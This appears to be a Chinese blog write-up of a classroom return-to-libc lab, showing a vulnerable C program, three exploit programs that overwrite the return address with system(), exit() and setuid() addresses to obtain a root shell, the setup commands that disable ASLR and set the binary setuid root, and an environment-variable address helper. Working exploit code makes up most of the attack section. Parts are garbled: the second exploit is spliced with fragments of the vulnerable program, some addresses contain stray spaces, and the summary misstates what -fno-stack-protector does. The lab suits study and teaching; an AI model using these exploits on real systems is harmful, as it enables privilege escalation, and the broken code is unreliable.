return-to-libc攻击实验

第一部分 实验背景

       缓冲区溢出的常用攻击方法是用shellcode的地址来覆盖漏洞程序的返回地址,使得漏洞程序去执行存放在栈中shellcode。于是为了阻止这种类型的攻击,一些操作系统(比如Fedora)使得系统管理员具有使栈不可执行的能力。这样的话,一旦程序执行存放在栈中的shellcode就会崩溃,从而阻止了攻击。

       不幸的是上面的保护方式并不是完全有效的,现在存在一种缓冲区溢出的变体攻击,叫做return-to-libc攻击。这种攻击不需要一个栈可以执行,甚至不需要一个shellcode。取而代之的是我们让漏洞程序调转到现存的代码(比如已经载入内存的libc库中的system()函数等)来实现我们的攻击。

第二部分 实验目的

       本次实验是为了探索return-to-libc攻击的机制,用它去攻击一个具有缓冲区漏洞的程序,从而获得root权限。

备注:Fedora系统默认具有栈不可执行的保护机制,我们实验用的Ubuntu系统默认没有这种机制。

第三部分 实验内容

漏洞程序:

// retlib.c               

// This program has a buffer overflow vulnerability.

// Our task is to exploit this vulnerability

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int bof(FILE *badfile)

{

       char buffer[12];            

//   The following statement has a buffer overflow problem    

       fread(buffer, sizeof(char), 40, badfile);

       return 1;

            

int main(int argc, char **argv)

{

       FILE *badfile;               

       badfile = fopen("badfile", "r");

       bof(badfile);           

       printf("Returned Properly\n");              

       fclose(badfile); return 1;

}

 

3.1 利用漏洞

分析:

下图是return-to-libc的调用栈格式如下:

<- stack grows this way

   addresses grow this way ->

------------------------------------------------------------------------------

| buffer fill-up | f1 | pop-ret | f1_arg | f2 | dmm | f2_arg1 | f2_arg2 ... 

------------------------------------------------------------------------------

                   ^

                   |

                   - this int32 should overwrite return address

                      of a vulnerable function

从图中我们可以看出,我们应该在bof的返回地址(即&buf[16])处放置system的入口地址,system的参数的地址放在与入口地址相隔四个字节的位置(即&buf[24]),中间的这四个字节应该放置exit函数的入口地址,这样这在system函数执行完毕之后,就会调用exit函数。

攻击程序:

//exploit_1.c

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int main(int argc, char **argv)

{

       char buf[40];

       FILE *badfile;

       badfile = fopen(".//badfile", "w");

       // You need to decide the addresses and

       the values for X, Y, Z. The order of the following

       three statements does not imply the order of X, Y, Z.

       Actually, we intentionally scrambled the order. *//

       strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 16 times

      

       *(long *) &buf[24] = 0xbffffe43 ; // "//bin//sh"

       *(long *) &buf[16] = 0xb7ea88b0 ; // system()

       *(long *) &buf[28] = 0xb7e9db30 ; // exit()

       fwrite(buf, sizeof(buf), 1, badfile);

       fclose(badfile);

}

攻击过程:

第一步 编译程序

sudo sysctl -w kernel.randomize_va_space=0

gcc -fno-stack-protector -o retlib retlib.c

sudo chown root:root retlib

sudo chmod 4755 retlib

return-to-libc攻击实验

 

第二步 system的放置在环境变量BIN_SH中,然后获取BIN的地址,同时用GDB获取systemexit的地址

return-to-libc攻击实验
return-to-libc攻击实验

第四步 攻击

return-to-libc攻击实验

备注

上面的实验实在/bin/sh指向zsh的情况下进行的,如果/bin/sh指向bash则上述的实验是获取不到root权限的,因为bash内置了权限降低的机制,虽然我们可以使得bof返回时执行system(“/bin/sh”);但是我们也获取不到root权限。

示意图如下:

return-to-libc攻击实验

 

3.2 /bin/sh指向bash时的攻击

分析:

/bin/sh指向bash的情况下,我们如果能在调用/bin/ bash之前提升正在运行的进程的Set-UIDroot权限,那么我们就可以绕过对bash的权限限制,幸运的是系统函数setuid(0)可以实现我们的目标,所以我们可以在调用系统函数system(“/bin/sh”)之前,先调用系统函数setuid(0)来提升权限。

 

我们攻击代码应该这样修改:

bof的返回地址处(&buf[16])写入setuid()的地址,setuid的参数0写在与其入口地址相隔一个字的位置(即buf[24])处(因为setuid()执行完毕之后,会转向存放setuid入口地址的下一个位置,所以这个位置应该放入system函数的入口地址),同理system的参数放入&buf[28]处。

攻击代码如下:

//exploit_2.c

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int main(int argc, char **argv)

{

char buf[40];

FILE *badfile;

badfile = fopen("./badfile", "w");

strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 16 times

 

*(long *) &buf[20] = 0xb7ea88b0 ; // system()

*(long *) &buf[28] = 0xbffffe43; // address of "/bin/sh"

*(long *) &buf[16] = 0xb 7f0f620 ; // setuid()

*(long *) &buf[24] = 0; // parameter for setuid

     

       fread(buffer, sizeof(char), 60, badfile);

       return 1;

            

int main(int argc, char **argv)

{

       FILE *badfile;      

       printf("\nsomeint = %x\n",&someint); 

       badfile = fopen("badfile", "r");

       bof(badfile);           

       printf("Returned Properly\n");              

       fclose(badfile); return 1;

  

3.3 在第二题的基础上,调用setuid0)之前嵌入调用system(“/usr/bin/id”)

为了能够调用system(“/usr/bin/id”),需要在漏洞程序中添加这么一条指令:

int someint=0xc 304c483; //add 4, $esp

(具体分析通上一题)   

攻击代码如下:

// exploit_3.c

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int main(int argc, char **argv)

{

char buf[60];

FILE *badfile;

badfile = fopen("./badfile", "w");

strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 16 times

*(long *) &buf[16] = 0xb7ea88b0;   // system()

*(long *) &buf[24] = 0xbffffe9f;    // address of "/usr/bin/id"

*(long *) &buf[20] = 0x0804a024;   // esp+4  buf+28

*(long *) &buf[32] = 0xb7ea88b0;   // system

*(long *) &buf[40] = 0xbffffe28;    // address of /bin/sh

*(long *) &buf[28] = 0xb7f0f620;   // setuid()

*(long *) &buf[36] = 0;           // parameter for setuid

fwrite(buf, sizeof(buf), 1, badfile);

fclose(badfile);

}

攻击示意图:

return-to-libc攻击实验

实验小结:

Ubuntu的地址随机化机制使得我们获取漏洞函数的返回地址和存放Shellcode地址困难许多,并且Ubuntu系统的缓冲区溢出保护机制(即-fno-stack-protector)对缓冲区的溢出进行保护,也使得这种攻击方法变得更加困难。

参考资料:

http://www.phrack.org/issues.html?issue=58&id=4#article

致谢:

3.3题中的0xc304c483; //add 4, $esp请教了Guo Linlin,I appreciate the help of her greatly!

 

附注:

//getenvaaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
       char *ptr;
       if(argc < 3)
       {
              printf("Usage:%s<environment var> <target program name>\n",argv[0]);
              exit(0);
       }
       ptr = getenv(argv[1]);  
       ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
//argv[0]:正在执行的程序名称,本程序中:getenvaaddr
//argv[1]:shellcode 变量名
//argv[2]:即将执行的漏洞程序的名称(包括路径),本程序中:./got_vul
//Linux ubuntu 系统中已经验证两者名称差一个字符,就会有两个字节的地址偏移
       printf("%s will be at %p\n", argv[1], ptr);
       return 0;

}

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
return-to-libc攻击是一种典型的缓冲区溢出攻击方式,它绕过了内存的数据执行保护机制。在执行return-to-libc攻击时,攻击者通过精心构造的恶意输入,将栈溢出造成的缓冲区溢出利用到无法执行任意代码的情况下。 返回到C库(return-to-libc)是一种利用栈溢出漏洞的攻击技术。正常情况下,当程序发生栈溢出时,攻击者可以将恶意代码注入到程序的内存中并执行。然而,现代操作系统和编译器通常会实施一些保护措施,如地址空间布局随机化(ASLR)和栈不可执行(NX)等,以防止这种攻击return-to-libc攻击的基本思想是利用目标程序中的已知函数,如C库函数,来达到执行恶意代码的目的。通过了解函数名称和地址,攻击者可以通过篡改程序的返回地址来使程序跳转到所需的函数。而且,由于这些函数已经在内存中,不在栈上执行,因此可以绕过堆栈溢出和执行保护。 在return-to-libc攻击中,攻击者通过构造恶意输入,覆盖目标程序的返回地址,并将其设置为C库函数的地址,如system()或execve()。这样一来,当程序返回时,不会执行恶意代码,而是跳转到C库函数,攻击者可以使用这些函数来执行所需的操作,如系统命令执行。 然而,现代操作系统通常会实施一些防御措施来阻止return-to-libc攻击,如堆栈保护(stack protector)和地址空间布局随机化(ASLR)。这些措施增加了攻击难度,使得攻击者更难以成功利用return-to-libc攻击。因此,及时更新补丁和使用安全编程实践是防止此类攻击的关键。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值